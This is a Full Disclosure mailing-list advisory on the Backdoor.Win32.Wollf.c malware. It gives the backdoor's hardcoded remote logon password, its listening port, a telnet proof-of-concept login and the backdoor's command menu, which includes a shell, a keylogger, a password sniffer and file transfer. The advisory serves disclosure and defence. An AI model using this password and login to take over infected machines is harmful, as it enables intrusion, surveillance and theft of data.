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Date: Mon, 25 Jan 2021 21:52:40 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Wollf.c / Hardcoded Backdoor Password

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/91c02a95839a76a5d2e335cded7112a9.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.c
Vulnerability: Hardcoded Backdoor Password
Description: The backdoor creates a service "sysocm.exe" running with
SYSTEM integrity. The sysocm service listens for commands on TCP port
7754. The backdoors remote logon password is
"mDVs3TAv8sByKyG6YgwbtYQK6fSQeauz" and while strong, its stored in the
executable and easily discovered using strings utility.

C:\>sc qc sysocm
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: sysocm
        TYPE               : 120  WIN32_SHARE_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\WINDOWS\system32\sysocm.exe -start
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : sysocm
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Type: PE32
MD5: 91c02a95839a76a5d2e335cded7112a9
Vuln ID: MVID-2021-0053
Dropped files: sysocm.exe
Disclosure: 01/25/2021

Exploit/PoC:
TELNET [BACKDOORED_HOST_IP] 7754

login: mDVs3TAv8sByKyG6YgwbtYQK6fSQeauz

Login succeed!

"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org

[DESKTOP-BLAHX@C:\WINDOWS\system32]#

DOS                  Switch to MS-DOS prompt
DIR/LS/LIST          Directory and file list
CD                   Entry directory
MD/MKDIR             Make directory
PWD                  Get current dirctory
COPY/CP              Copy file
DEL/RM               Delete directory/file
REN/RENAME           Rename file
MOVE/MV              Move file
TYPE/CAT             Type text file


                           POPMSG               Popup message box
SYSINFO              Get system information
WHO/W                Get current connections


                           SHELL                Execute command by
system shell(cmd.exe)
EXEC/RUN             Execute file by windows API(WinExec)
WS                   Windows list
PS                   Process list
KILL                 Kill process


                           GET/GETFILE          Download file from
remote machine
PUT/PUTFILE          Upload file to remote machine
WGET                 Get file from web server
FGET                 Get file from ftp server
FPUT                 Put file to ftp server
TELNET               Connect to other host


                           FTPD                 Start ftp service
TELNETD/TELD/EXPORT  Start telnet service (export shell)
REDIR                Redirect tcp data from <Port> to
<Dest_host:Dest_port>
REDIR_STOP           Stop redirect tcp data
SNIFF                Sniff ftp/smtp/pop3/http password what via
ethernet
SNIFF_STOP           Stop ethernet sniffer
KEYLOG               Start keyboard record
KEYLOG_STOP          Stop keyboard record


                           REBOOT               Reboot windows
SHUTDOWN             Shutdown windows
EXIT                 Close current connection
QUIT                 Close all connection and abort service
REMOVE               Remove service
VER/VERSION          Version information
HELP/H/?             Show help message


                           Type "HELP | MORE" for multipage display.

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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